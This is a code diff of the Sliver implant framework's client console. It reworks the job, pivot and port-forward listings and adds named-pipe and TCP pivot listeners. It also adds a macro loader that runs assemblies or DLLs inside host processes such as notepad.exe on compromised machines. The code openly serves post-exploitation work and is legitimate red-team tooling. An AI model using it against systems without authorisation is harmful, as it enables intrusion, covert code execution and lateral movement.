 		job := jobs[uint32(k)]
-		tw.AppendRow(table.Row{
-			fmt.Sprintf("%d", job.ID),
-			job.Name,
-			job.Protocol,
-			fmt.Sprintf("%d", job.Port),
-		})
+		fmt.Fprintf(table, "%d\t%s\t%s\t%d\t\n", job.ID, job.Name, job.Protocol, job.Port)
 	}
-	con.Printf("%s\n", tw.Render())
+	table.Flush()
 }
 
 func jobKill(jobID uint32, con *console.SliverConsoleClient) {

client/command/kill/kill.go

@@ -35,9 +35,10 @@ func KillCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	session, beacon := con.ActiveTarget.GetInteractive()
 	// Confirm with the user, just in case they confused kill with terminate
 	confirm := false
-	con.PrintWarnf("WARNING: This will kill the remote implant process\n\n")
+	promptSession := &survey.Confirm{Message: "Kill the active session?"}
+	promptBeacon := &survey.Confirm{Message: "Kill the active beacon?"}
 	if session != nil {
-		survey.AskOne(&survey.Confirm{Message: "Kill the active session?"}, &confirm, nil)
+		survey.AskOne(promptSession, &confirm, nil)
 		if !confirm {
 			return
 		}
@@ -46,11 +47,12 @@ func KillCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 			con.PrintErrorf("%s\n", err)
 			return
 		}
-		con.PrintInfof("Killed %s (%s)\n", session.Name, session.ID)
+		con.PrintInfof("Killed %s (%d)\n", session.Name, session.ID)
 		con.ActiveTarget.Background()
 		return
-	} else if beacon != nil {
-		survey.AskOne(&survey.Confirm{Message: "Kill the active beacon?"}, &confirm, nil)
+	}
+	if beacon != nil {
+		survey.AskOne(promptBeacon, &confirm, nil)
 		if !confirm {
 			return
 		}

client/command/macros/README.md

@@ -1,11 +1,4 @@
-Alias
+Macros
 ===========
 
 Wraps external DLLs/tool in Sliver console commands.
-
-
-
-### Format
-
-* `alias-dir/`
-* * `manifest.json` - 

client/command/macros/load.go

@@ -0,0 +1,335 @@
+package macros
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2019  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"context"
+	"encoding/json"
+	"fmt"
+	"io/ioutil"
+	"os"
+	"path"
+	"path/filepath"
+	"strings"
+
+	"github.com/bishopfox/sliver/client/command/help"
+	"github.com/bishopfox/sliver/client/console"
+	consts "github.com/bishopfox/sliver/client/constants"
+	"github.com/bishopfox/sliver/protobuf/sliverpb"
+	"github.com/desertbit/grumble"
+)
+
+const (
+	defaultTimeout = 60
+
+	windowsDefaultHostProc = `c:\windows\system32\notepad.exe`
+	linuxDefaultHostProc   = "/bin/bash"
+	macosDefaultHostProc   = "/Applications/Safari.app/Contents/MacOS/SafariForWebKitDevelopment"
+)
+
+var commandMap map[string]macro
+var defaultHostProc = map[string]string{
+	"windows": windowsDefaultHostProc,
+	"linux":   windowsDefaultHostProc,
+	"darwin":  macosDefaultHostProc,
+}
+
+type binFiles struct {
+	Ext64Path string `json:"x64"`
+	Ext32Path string `json:"x86"`
+}
+
+type macroFile struct {
+	OS    string   `json:"os"`
+	Files binFiles `json:"files"`
+}
+
+type macroCommand struct {
+	Name         string      `json:"name"`
+	Entrypoint   string      `json:"entrypoint"`
+	Help         string      `json:"help"`
+	LongHelp     string      `json:"longHelp"`
+	AllowArgs    bool        `json:"allowArgs"`
+	DefaultArgs  string      `json:"defaultArgs"`
+	MacroFiles   []macroFile `json:"extFiles"`
+	IsReflective bool        `json:"isReflective"`
+	IsAssembly   bool        `json:"IsAssembly"`
+}
+
+func (ec *macroCommand) getDefaultProcess(targetOS string) (proc string, err error) {
+	proc, ok := defaultHostProc[targetOS]
+	if !ok {
+		err = fmt.Errorf("no default process for %s target, please specify one", targetOS)
+	}
+	return
+}
+
+type macro struct {
+	Name     string         `json:"macroName"`
+	Commands []macroCommand `json:"macroCommands"`
+	Path     string
+}
+
+func (e *macro) getFileForTarget(cmdName string, targetOS string, targetArch string) (filePath string, err error) {
+	for _, c := range e.Commands {
+		if cmdName == c.Name {
+			for _, ef := range c.MacroFiles {
+				if targetOS == ef.OS {
+					switch targetArch {
+					case "x86":
+						filePath = filepath.Join(e.Path, ef.Files.Ext32Path)
+					case "x64":
+						filePath = filepath.Join(e.Path, ef.Files.Ext64Path)
+					default:
+						filePath = filepath.Join(e.Path, ef.Files.Ext64Path)
+					}
+				}
+			}
+
+		}
+	}
+	if filePath == "" {
+		err = fmt.Errorf("no macro file found for %s/%s", targetOS, targetArch)
+	}
+	return
+}
+
+func (e *macro) getCommandFromName(name string) (extCmd *macroCommand, err error) {
+	for _, x := range e.Commands {
+		if x.Name == name {
+			extCmd = &x
+			return
+		}
+	}
+	err = fmt.Errorf("no macro command found for name %s", name)
+	return
+}
+
+// LoadMacroCmd - Locally load a macro into the Sliver shell.
+func LoadMacroCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+
+	dirPath := ctx.Args.String("dir-path")
+
+	// retrieve macro manifest
+	manifestPath := fmt.Sprintf("%s/%s", dirPath, "manifest.json")
+	jsonBytes, err := ioutil.ReadFile(manifestPath)
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+	}
+	// parse it
+	ext := &macro{}
+	err = json.Unmarshal(jsonBytes, ext)
+	if err != nil {
+		con.PrintErrorf("Error loading macro: %v", err)
+		return
+	}
+	ext.Path = dirPath
+	// for each macro command, add a new app command
+	for _, extCmd := range ext.Commands {
+		// do not add if the command already exists
+		if cmdExists(extCmd.Name, ctx.App) {
+			con.PrintErrorf("%s command already exists\n", extCmd.Name)
+			return
+		}
+		con.PrintInfof("Adding %s command: %s\n", extCmd.Name, extCmd.Help)
+
+		// Have to use a global map here, as passing the extCmd
+		// either by value or by ref fucks things up
+		commandMap[extCmd.Name] = *ext
+		helpMsg := fmt.Sprintf("[%s] %s", ext.Name, extCmd.Help)
+		macroCmd := &grumble.Command{
+			Name:     extCmd.Name,
+			Help:     helpMsg,
+			LongHelp: help.FormatHelpTmpl(extCmd.LongHelp),
+			Run: func(extCtx *grumble.Context) error {
+				con.Println()
+				runMacroCommand(extCtx, con)
+				con.Println()
+				return nil
+			},
+			Flags: func(f *grumble.Flags) {
+				if extCmd.IsAssembly {
+					f.String("m", "method", "", "Optional method (a method is required for a .NET DLL)")
+					f.String("c", "class", "", "Optional class name (required for .NET DLL)")
+					f.String("d", "app-domain", "", "AppDomain name to create for .NET assembly. Generated randomly if not set.")
+					f.String("a", "arch", "x84", "Assembly target architecture: x86, x64, x84 (x86+x64)")
+				}
+				f.String("p", "process", "", "Path to process to host the shared object")
+				f.Bool("s", "save", false, "Save output to disk")
+				f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
+			},
+			Args: func(a *grumble.Args) {
+				a.StringList("arguments", "arguments", grumble.Default([]string{}))
+			},
+			HelpGroup: consts.MacroHelpGroup,
+		}
+		con.App.AddCommand(macroCmd)
+	}
+	con.PrintInfof("%s macro has been loaded\n", ext.Name)
+}
+
+func runMacroCommand(ctx *grumble.Context, con *console.SliverConsoleClient) {
+	session := con.ActiveTarget.GetSessionInteractive()
+	if session == nil {
+		return
+	}
+	ext, ok := commandMap[ctx.Command.Name]
+	if !ok {
+		con.PrintErrorf("No macro command found for `%s` command\n", ctx.Command.Name)
+		return
+	}
+
+	binPath, err := ext.getFileForTarget(ctx.Command.Name, session.GetOS(), session.GetArch())
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return
+	}
+
+	c, err := ext.getCommandFromName(ctx.Command.Name)
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return
+	}
+
+	args := ctx.Args.StringList("arguments")
+	var extArgs string
+	if len(c.DefaultArgs) != 0 && len(args) == 0 {
+		extArgs = c.DefaultArgs
+	} else {
+		extArgs = strings.Join(args, " ")
+	}
+	entryPoint := c.Entrypoint
+	processName := ctx.Flags.String("process")
+	if processName == "" {
+		processName, err = c.getDefaultProcess(session.GetOS())
+		if err != nil {
+			con.PrintErrorf("%s\n", err)
+			return
+		}
+	}
+	isDLL := false
+	if filepath.Ext(binPath) == ".dll" {
+		isDLL = true
+	}
+	binData, err := ioutil.ReadFile(binPath)
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return
+	}
+	var outFilePath *os.File
+	if ctx.Flags.Bool("save") {
+		outFile := path.Base(fmt.Sprintf("%s_%s*.log", ctx.Command.Name, session.GetHostname()))
+		outFilePath, err = ioutil.TempFile("", outFile)
+		if err != nil {
+			con.PrintErrorf("%s\n", err)
+			return
+		}
+	}
+	if c.IsAssembly {
+		ctrl := make(chan bool)
+		msg := fmt.Sprintf("Executing %s %s ...", ctx.Command.Name, extArgs)
+		con.SpinUntil(msg, ctrl)
+		executeAssemblyResp, err := con.Rpc.ExecuteAssembly(context.Background(), &sliverpb.ExecuteAssemblyReq{
+			Request:   con.ActiveTarget.Request(ctx),
+			IsDLL:     isDLL,
+			Process:   processName,
+			Arguments: extArgs,
+			Assembly:  binData,
+			Arch:      ctx.Flags.String("arch"),
+			Method:    ctx.Flags.String("method"),
+			ClassName: ctx.Flags.String("class"),
+			AppDomain: ctx.Flags.String("app-domain"),
+		})
+		ctrl <- true
+		<-ctrl
+		if err != nil {
+			con.PrintErrorf("%s\n", err)
+			return
+		}
+		con.PrintInfof("Output:\n%s", string(executeAssemblyResp.GetOutput()))
+		if outFilePath != nil {
+			outFilePath.Write(executeAssemblyResp.GetOutput())
+			con.PrintInfof("Output saved to %s\n", outFilePath.Name())
+		}
+	} else if c.IsReflective {
+		ctrl := make(chan bool)
+		msg := fmt.Sprintf("Executing %s %s ...", ctx.Command.Name, extArgs)
+		con.SpinUntil(msg, ctrl)
+		spawnDllResp, err := con.Rpc.SpawnDll(context.Background(), &sliverpb.InvokeSpawnDllReq{
+			Request:     con.ActiveTarget.Request(ctx),
+			Args:        strings.Trim(extArgs, " "),
+			Data:        binData,
+			ProcessName: processName,
+			EntryPoint:  c.Entrypoint,
+			Kill:        true,
+		})
+		ctrl <- true
+		<-ctrl
+
+		if err != nil {
+			con.PrintErrorf("%s\n", err)
+			return
+		}
+
+		con.PrintInfof("Output:\n%s", spawnDllResp.GetResult())
+		if outFilePath != nil {
+			outFilePath.Write([]byte(spawnDllResp.GetResult()))
+			con.PrintInfof("Output saved to %s\n", outFilePath.Name())
+		}
+	} else {
+		ctrl := make(chan bool)
+		msg := fmt.Sprintf("Executing %s %s ...", ctx.Command.Name, extArgs)
+		con.SpinUntil(msg, ctrl)
+		sideloadResp, err := con.Rpc.Sideload(context.Background(), &sliverpb.SideloadReq{
+			Request:     con.ActiveTarget.Request(ctx),
+			Args:        extArgs,
+			Data:        binData,
+			EntryPoint:  entryPoint,
+			ProcessName: processName,
+			Kill:        true,
+			IsDLL:       isDLL,
+		})
+		ctrl <- true
+		<-ctrl
+
+		if err != nil {
+			con.PrintErrorf("%s\n", err)
+			return
+		}
+
+		con.PrintInfof("Output:\n%s", sideloadResp.GetResult())
+		if outFilePath != nil {
+			outFilePath.Write([]byte(sideloadResp.GetResult()))
+			con.PrintInfof("Output saved to %s\n", outFilePath.Name())
+		}
+	}
+}
+
+func cmdExists(name string, app *grumble.App) bool {
+	for _, c := range app.Commands().All() {
+		if name == c.Name {
+			return true
+		}
+	}
+	return false
+}
+
+func init() {
+	commandMap = make(map[string]macro)
+}

client/command/pivots/details.go

@@ -1,96 +0,0 @@
-package pivots
-
-/*
-	Sliver Implant Framework
-	Copyright (C) 2021  Bishop Fox
-
-	This program is free software: you can redistribute it and/or modify
-	it under the terms of the GNU General Public License as published by
-	the Free Software Foundation, either version 3 of the License, or
-	(at your option) any later version.
-
-	This program is distributed in the hope that it will be useful,
-	but WITHOUT ANY WARRANTY; without even the implied warranty of
-	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-	GNU General Public License for more details.
-
-	You should have received a copy of the GNU General Public License
-	along with this program.  If not, see <https://www.gnu.org/licenses/>.
-*/
-
-import (
-	"context"
-	"fmt"
-
-	"github.com/bishopfox/sliver/client/command/settings"
-	"github.com/bishopfox/sliver/client/console"
-	"github.com/bishopfox/sliver/protobuf/sliverpb"
-	"github.com/desertbit/grumble"
-	"github.com/jedib0t/go-pretty/v6/table"
-)
-
-// PivotDetailsCmd - Display pivots for all sessions
-func PivotDetailsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
-	session := con.ActiveTarget.GetSessionInteractive()
-	if session == nil {
-		return
-	}
-	pivotListeners, err := con.Rpc.PivotSessionListeners(context.Background(), &sliverpb.PivotListenersReq{
-		Request: con.ActiveTarget.Request(ctx),
-	})
-	if err != nil {
-		con.PrintErrorf("%s\n", err)
-		return
-	}
-	if pivotListeners.Response != nil && pivotListeners.Response.Err != "" {
-		con.PrintErrorf("%s\n", pivotListeners.Response.Err)
-		return
-	}
-
-	id := uint32(ctx.Flags.Int("id"))
-	if id == uint32(0) {
-		selectedListener, err := SelectPivotListener(pivotListeners.Listeners, con)
-		if err != nil {
-			con.PrintErrorf("%s\n", err)
-			return
-		}
-		id = selectedListener.ID
-	}
-
-	found := false
-	for _, listener := range pivotListeners.Listeners {
-		if listener.ID == id {
-			PrintPivotListenerDetails(listener, con)
-			found = true
-		}
-	}
-	if !found {
-		con.PrintErrorf("No pivot listener with id %d\n", id)
-	}
-}
-
-// PrintPivotListenerDetails - Print details of a single pivot listener
-func PrintPivotListenerDetails(listener *sliverpb.PivotListener, con *console.SliverConsoleClient) {
-	con.Printf("\n")
-	con.Printf("               ID: %d\n", listener.ID)
-	con.Printf("         Protocol: %s\n", PivotTypeToString(listener.Type))
-	con.Printf("     Bind Address: %s\n", listener.BindAddress)
-	con.Printf(" Number of Pivots: %d\n", len(listener.Pivots))
-	con.Printf("\n")
-
-	tw := table.NewWriter()
-	tw.SetStyle(settings.GetTableStyle(con))
-	tw.SetTitle(fmt.Sprintf(console.Bold+"%s Pivots"+console.Normal, PivotTypeToString(listener.Type)))
-	tw.AppendSeparator()
-	tw.AppendHeader(table.Row{
-		"ID",
-		"Remote Address",
-	})
-	for _, pivotListener := range listener.Pivots {
-		tw.AppendRow(table.Row{
-			pivotListener.PeerID,
-			pivotListener.RemoteAddress,
-		})
-	}
-	con.Printf("%s\n", tw.Render())
-}

client/command/pivots/graph.go

@@ -1,49 +0,0 @@
-package pivots
-
-/*
-	Sliver Implant Framework
-	Copyright (C) 2022  Bishop Fox
-
-	This program is free software: you can redistribute it and/or modify
-	it under the terms of the GNU General Public License as published by
-	the Free Software Foundation, either version 3 of the License, or
-	(at your option) any later version.
-
-	This program is distributed in the hope that it will be useful,
-	but WITHOUT ANY WARRANTY; without even the implied warranty of
-	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-	GNU General Public License for more details.
-
-	You should have received a copy of the GNU General Public License
-	along with this program.  If not, see <https://www.gnu.org/licenses/>.
-*/
-
-import (
-	"context"
-	"encoding/json"
-	"fmt"
-
-	"github.com/bishopfox/sliver/client/console"
-	"github.com/bishopfox/sliver/protobuf/commonpb"
-
-	"github.com/desertbit/grumble"
-)
-
-// PivotsGraphCmd - Display pivots for all sessions
-func PivotsGraphCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
-
-	graph, err := con.Rpc.PivotGraph(context.Background(), &commonpb.Empty{})
-	if err != nil {
-		con.PrintErrorf("%s\n", err)
-		return
-	}
-
-	data, err := json.MarshalIndent(graph.Children, "", "  ")
-	if err != nil {
-		con.PrintErrorf("%s\n", err)
-		return
-	}
-
-	fmt.Printf("%s\n", string(data))
-
-}

client/command/pivots/helpers.go

@@ -1,64 +0,0 @@
-package pivots
-
-/*
-	Sliver Implant Framework
-	Copyright (C) 2021  Bishop Fox
-
-	This program is free software: you can redistribute it and/or modify
-	it under the terms of the GNU General Public License as published by
-	the Free Software Foundation, either version 3 of the License, or
-	(at your option) any later version.
-
-	This program is distributed in the hope that it will be useful,
-	but WITHOUT ANY WARRANTY; without even the implied warranty of
-	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-	GNU General Public License for more details.
-
-	You should have received a copy of the GNU General Public License
-	along with this program.  If not, see <https://www.gnu.org/licenses/>.
-*/
-
-import (
-	"bytes"
-	"errors"
-	"fmt"
-	"strings"
-	"text/tabwriter"
-
-	"github.com/AlecAivazis/survey/v2"
-	"github.com/bishopfox/sliver/client/console"
-	"github.com/bishopfox/sliver/protobuf/sliverpb"
-)
-
-// SelectPivotListener - Interactive menu to select a pivot listener
-func SelectPivotListener(listeners []*sliverpb.PivotListener, con *console.SliverConsoleClient) (*sliverpb.PivotListener, error) {
-
-	// Render selection table
-	buf := bytes.NewBufferString("")
-	table := tabwriter.NewWriter(buf, 0, 2, 2, ' ', 0)
-	for _, listener := range listeners {
-		fmt.Fprintf(table, "%d\t%s\t%s\t\n", listener.ID, PivotTypeToString(listener.Type), listener.BindAddress)
-	}
-	table.Flush()
-	options := strings.Split(buf.String(), "\n")
-	options = options[:len(options)-1]
-	if len(options) == 0 {
-		return nil, errors.New("no task to select from")
-	}
-
-	selected := ""
-	prompt := &survey.Select{
-		Message: "Select a beacon task:",
-		Options: options,
-	}
-	err := survey.AskOne(prompt, &selected)
-	if err != nil {
-		return nil, err
-	}
-	for index, value := range options {
-		if value == selected {
-			return listeners[index], nil
-		}
-	}
-	return nil, errors.New("task not found")
-}

client/command/pivots/named-pipe.go

@@ -0,0 +1,40 @@
+package pivots
+
+import (
+	"context"
+
+	"github.com/bishopfox/sliver/client/console"
+	"github.com/bishopfox/sliver/protobuf/sliverpb"
+	"github.com/desertbit/grumble"
+)
+
+// NamedPipeListenerCmd - Start a named pipe pivot listener on the remote system
+func NamedPipeListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+	session := con.ActiveTarget.GetSessionInteractive()
+	if session == nil {
+		return
+	}
+	if session.OS != "windows" {
+		con.PrintErrorf("Not implemented for %s\n", session.OS)
+		return
+	}
+
+	pipeName := ctx.Flags.String("name")
+
+	if pipeName == "" {
+		con.PrintErrorf("-n parameter missing\n")
+		return
+	}
+
+	_, err := con.Rpc.NamedPipes(context.Background(), &sliverpb.NamedPipesReq{
+		PipeName: pipeName,
+		Request:  con.ActiveTarget.Request(ctx),
+	})
+
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return
+	}
+
+	con.PrintInfof("Listening on %s", "\\\\.\\pipe\\"+pipeName)
+}

client/command/pivots/pivots.go

@@ -19,71 +19,84 @@ package pivots
 */
 
 import (
+	"bytes"
 	"context"
+	"fmt"
+	"strings"
+	"text/tabwriter"
 
-	"github.com/bishopfox/sliver/client/command/settings"
 	"github.com/bishopfox/sliver/client/console"
+	"github.com/bishopfox/sliver/protobuf/clientpb"
+	"github.com/bishopfox/sliver/protobuf/commonpb"
 	"github.com/bishopfox/sliver/protobuf/sliverpb"
-	"github.com/jedib0t/go-pretty/v6/table"
 
 	"github.com/desertbit/grumble"
 )
 
 // PivotsCmd - Display pivots for all sessions
 func PivotsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
-	session := con.ActiveTarget.GetSessionInteractive()
-	if session == nil {
-		return
+	timeout := ctx.Flags.Int("timeout")
+	sessionID := ctx.Flags.String("id")
+	if sessionID != "" {
+		session := con.GetSession(sessionID)
+		if session == nil {
+			return
+		}
+		printPivots(session, int64(timeout), con)
+	} else {
+		session := con.ActiveTarget.GetSession()
+		if session != nil {
+			printPivots(session, int64(timeout), con)
+		} else {
+			sessions, err := con.Rpc.GetSessions(context.Background(), &commonpb.Empty{})
+			if err != nil {
+				con.PrintErrorf("%s\n", err)
+				return
+			}
+			for _, session := range sessions.Sessions {
+				printPivots(session, int64(timeout), con)
+			}
+		}
 	}
-	pivotListeners, err := con.Rpc.PivotSessionListeners(context.Background(), &sliverpb.PivotListenersReq{
-		Request: con.ActiveTarget.Request(ctx),
+}
+
+func printPivots(session *clientpb.Session, timeout int64, con *console.SliverConsoleClient) {
+	pivotList, err := con.Rpc.ListPivots(context.Background(), &sliverpb.PivotListReq{
+		Request: &commonpb.Request{
+			SessionID: session.ID,
+			Timeout:   timeout,
+			Async:     false,
+		},
 	})
+
 	if err != nil {
 		con.PrintErrorf("%s\n", err)
 		return
 	}
-	if pivotListeners.Response != nil && pivotListeners.Response.Err != "" {
-		con.PrintErrorf("%s\n", pivotListeners.Response.Err)
+
+	if pivotList.Response != nil && pivotList.Response.Err != "" {
+		con.PrintErrorf("%s\n", pivotList.Response.Err)
 		return
 	}
 
-	if len(pivotListeners.Listeners) == 0 {
-		con.PrintInfof("No pivot listeners running on this session\n")
+	if len(pivotList.Entries) > 0 {
+		con.PrintInfof("Session %d\n", session.ID)
+		outputBuf := bytes.NewBufferString("")
+		table := tabwriter.NewWriter(outputBuf, 0, 2, 2, ' ', 0)
+
+		fmt.Fprintf(table, "type\taddress\t\n")
+		fmt.Fprintf(table, "%s\t%s\t\n",
+			strings.Repeat("=", len("type")),
+			strings.Repeat("=", len("address")),
+		)
+
+		for _, entry := range pivotList.Entries {
+			fmt.Fprintf(table, "%s\t%s\t\n", entry.Type, entry.Remote)
+		}
+		table.Flush()
+		con.Printf(outputBuf.String())
 	} else {
-		PrintPivotListeners(pivotListeners.Listeners, con)
+		con.PrintInfof("No pivots found for session %d\n", session.ID)
 	}
-}
 
-// PrintPivotListeners - Print a table of pivot listeners
-func PrintPivotListeners(pivotListeners []*sliverpb.PivotListener, con *console.SliverConsoleClient) {
-	tw := table.NewWriter()
-	tw.SetStyle(settings.GetTableStyle(con))
-	tw.AppendHeader(table.Row{
-		"ID",
-		"Protocol",
-		"Bind Address",
-		"Number of Pivots",
-	})
-	for _, listener := range pivotListeners {
-		tw.AppendRow(table.Row{
-			listener.ID,
-			PivotTypeToString(listener.Type),
-			listener.BindAddress,
-			len(listener.Pivots),
-		})
-	}
-	con.Printf("%s\n", tw.Render())
-}
-
-// PivotTypeToString - Convert a pivot type to a human string
-func PivotTypeToString(pivotType sliverpb.PivotType) string {
-	switch pivotType {
-	case sliverpb.PivotType_TCP:
-		return "TCP"
-	case sliverpb.PivotType_UDP:
-		return "UDP"
-	case sliverpb.PivotType_NamedPipe:
-		return "Named Pipe"
-	}
-	return "Unknown"
 }

client/command/pivots/start.go

@@ -1,74 +0,0 @@
-package pivots
-
-/*
-	Sliver Implant Framework
-	Copyright (C) 2021  Bishop Fox
-
-	This program is free software: you can redistribute it and/or modify
-	it under the terms of the GNU General Public License as published by
-	the Free Software Foundation, either version 3 of the License, or
-	(at your option) any later version.
-
-	This program is distributed in the hope that it will be useful,
-	but WITHOUT ANY WARRANTY; without even the implied warranty of
-	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-	GNU General Public License for more details.
-
-	You should have received a copy of the GNU General Public License
-	along with this program.  If not, see <https://www.gnu.org/licenses/>.
-*/
-
-import (
-	"context"
-	"fmt"
-
-	"github.com/bishopfox/sliver/client/console"
-	"github.com/bishopfox/sliver/protobuf/sliverpb"
-	"github.com/desertbit/grumble"
-)
-
-// StartTCPListenerCmd - Start a TCP pivot listener on the remote system
-func StartTCPListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
-	session := con.ActiveTarget.GetSessionInteractive()
-	if session == nil {
-		return
-	}
-	bind := ctx.Flags.String("bind")
-	lport := uint16(ctx.Flags.Int("lport"))
-	listener, err := con.Rpc.PivotStartListener(context.Background(), &sliverpb.PivotStartListenerReq{
-		Type:        sliverpb.PivotType_TCP,
-		BindAddress: fmt.Sprintf("%s:%d", bind, lport),
-		Request:     con.ActiveTarget.Request(ctx),
-	})
-	if err != nil {
-		con.PrintErrorf("%s\n", err)
-		return
-	}
-	if listener.Response != nil && listener.Response.Err != "" {
-		con.PrintErrorf("%s\n", listener.Response.Err)
-		return
-	}
-	con.PrintInfof("Started tcp pivot listener %s with id %d\n", listener.BindAddress, listener.ID)
-}
-
-// StartNamedPipeListenerCmd - Start a TCP pivot listener on the remote system
-func StartNamedPipeListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
-	session := con.ActiveTarget.GetSessionInteractive()
-	if session == nil {
-		return
-	}
-	listener, err := con.Rpc.PivotStartListener(context.Background(), &sliverpb.PivotStartListenerReq{
-		Type:        sliverpb.PivotType_NamedPipe,
-		BindAddress: ctx.Flags.String("bind"),
-		Request:     con.ActiveTarget.Request(ctx),
-	})
-	if err != nil {
-		con.PrintErrorf("%s\n", err)
-		return
-	}
-	if listener.Response != nil && listener.Response.Err != "" {
-		con.PrintErrorf("%s\n", listener.Response.Err)
-		return
-	}
-	con.PrintInfof("Started named pipe pivot listener %s with id %d\n", listener.BindAddress, listener.ID)
-}

client/command/pivots/stop.go

@@ -1,64 +0,0 @@
-package pivots
-
-/*
-	Sliver Implant Framework
-	Copyright (C) 2021  Bishop Fox
-
-	This program is free software: you can redistribute it and/or modify
-	it under the terms of the GNU General Public License as published by
-	the Free Software Foundation, either version 3 of the License, or
-	(at your option) any later version.
-
-	This program is distributed in the hope that it will be useful,
-	but WITHOUT ANY WARRANTY; without even the implied warranty of
-	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-	GNU General Public License for more details.
-
-	You should have received a copy of the GNU General Public License
-	along with this program.  If not, see <https://www.gnu.org/licenses/>.
-*/
-
-import (
-	"context"
-
-	"github.com/bishopfox/sliver/client/console"
-	"github.com/bishopfox/sliver/protobuf/sliverpb"
-	"github.com/desertbit/grumble"
-)
-
-// StopPivotListenerCmd - Start a TCP pivot listener on the remote system
-func StopPivotListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
-	session := con.ActiveTarget.GetSessionInteractive()
-	if session == nil {
-		return
-	}
-	id := uint32(ctx.Flags.Int("id"))
-	if id == uint32(0) {
-		pivotListeners, err := con.Rpc.PivotSessionListeners(context.Background(), &sliverpb.PivotListenersReq{
-			Request: con.ActiveTarget.Request(ctx),
-		})
-		if err != nil {
-			con.PrintErrorf("%s\n", err)
-			return
-		}
-		if len(pivotListeners.Listeners) == 0 {
-			con.PrintInfof("No pivot listeners running on this session\n")
-			return
-		}
-		selectedListener, err := SelectPivotListener(pivotListeners.Listeners, con)
-		if err != nil {
-			con.PrintErrorf("%s\n", err)
-			return
-		}
-		id = selectedListener.ID
-	}
-	_, err := con.Rpc.PivotStopListener(context.Background(), &sliverpb.PivotStopListenerReq{
-		ID:      id,
-		Request: con.ActiveTarget.Request(ctx),
-	})
-	if err != nil {
-		con.PrintErrorf("%s\n", err)
-		return
-	}
-	con.PrintInfof("Stopped pivot listener\n")
-}

client/command/pivots/tcp.go

@@ -0,0 +1,34 @@
+package pivots
+
+import (
+	"context"
+	"fmt"
+
+	"github.com/bishopfox/sliver/client/console"
+	"github.com/bishopfox/sliver/protobuf/sliverpb"
+	"github.com/desertbit/grumble"
+)
+
+// TCPListenerCmd - Start a TCP pivot listener on the remote system
+func TCPListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+	session := con.ActiveTarget.GetSessionInteractive()
+	if session == nil {
+		return
+	}
+
+	server := ctx.Flags.String("server")
+	lport := uint16(ctx.Flags.Int("lport"))
+	address := fmt.Sprintf("%s:%d", server, lport)
+
+	_, err := con.Rpc.TCPListener(context.Background(), &sliverpb.TCPPivotReq{
+		Address: address,
+		Request: con.ActiveTarget.Request(ctx),
+	})
+
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return
+	}
+
+	con.PrintInfof("Listening on tcp://%s", address)
+}

client/command/portfwd/portfwd.go

@@ -19,22 +19,19 @@ package portfwd
 */
 
 import (
+	"bytes"
+	"fmt"
 	"sort"
+	"strings"
+	"text/tabwriter"
 
-	"github.com/bishopfox/sliver/client/command/settings"
 	"github.com/bishopfox/sliver/client/console"
 	"github.com/bishopfox/sliver/client/core"
 	"github.com/desertbit/grumble"
-	"github.com/jedib0t/go-pretty/v6/table"
 )
 
 // PortfwdCmd - Display information about tunneled port forward(s)
 func PortfwdCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
-	PrintPortfwd(con)
-}
-
-// PrintPortfwd - Print the port forward(s)
-func PrintPortfwd(con *console.SliverConsoleClient) {
 	portfwds := core.Portfwds.List()
 	if len(portfwds) == 0 {
 		con.PrintInfof("No port forwards\n")
@@ -43,22 +40,18 @@ func PrintPortfwd(con *console.SliverConsoleClient) {
 	sort.Slice(portfwds[:], func(i, j int) bool {
 		return portfwds[i].ID < portfwds[j].ID
 	})
-
-	tw := table.NewWriter()
-	tw.SetStyle(settings.GetTableStyle(con))
-	tw.AppendHeader(table.Row{
-		"ID",
-		"Session ID",
-		"Bind Address",
-		"Remote Address",
-	})
+	outputBuf := bytes.NewBufferString("")
+	table := tabwriter.NewWriter(outputBuf, 0, 2, 2, ' ', 0)
+	fmt.Fprintf(table, "ID\tSession ID\tBind Address\tRemote Address\t\n")
+	fmt.Fprintf(table, "%s\t%s\t%s\t%s\t\n",
+		strings.Repeat("=", len("ID")),
+		strings.Repeat("=", len("Session ID")),
+		strings.Repeat("=", len("Bind Address")),
+		strings.Repeat("=", len("Remote Address")),
+	)
 	for _, p := range portfwds {
-		tw.AppendHeader(table.Row{
-			p.ID,
-			p.SessionID,
-			p.BindAddr,
-			p.RemoteAddr,
-		})
+		fmt.Fprintf(table, "%d\t%d\t%s\t%s\t\n", p.ID, p.SessionID, p.BindAddr, p.RemoteAddr)
 	}
-	con.Printf("%s\n", tw.Render())
+	table.Flush()
+	con.Printf("%s", outputBuf.String())
 }

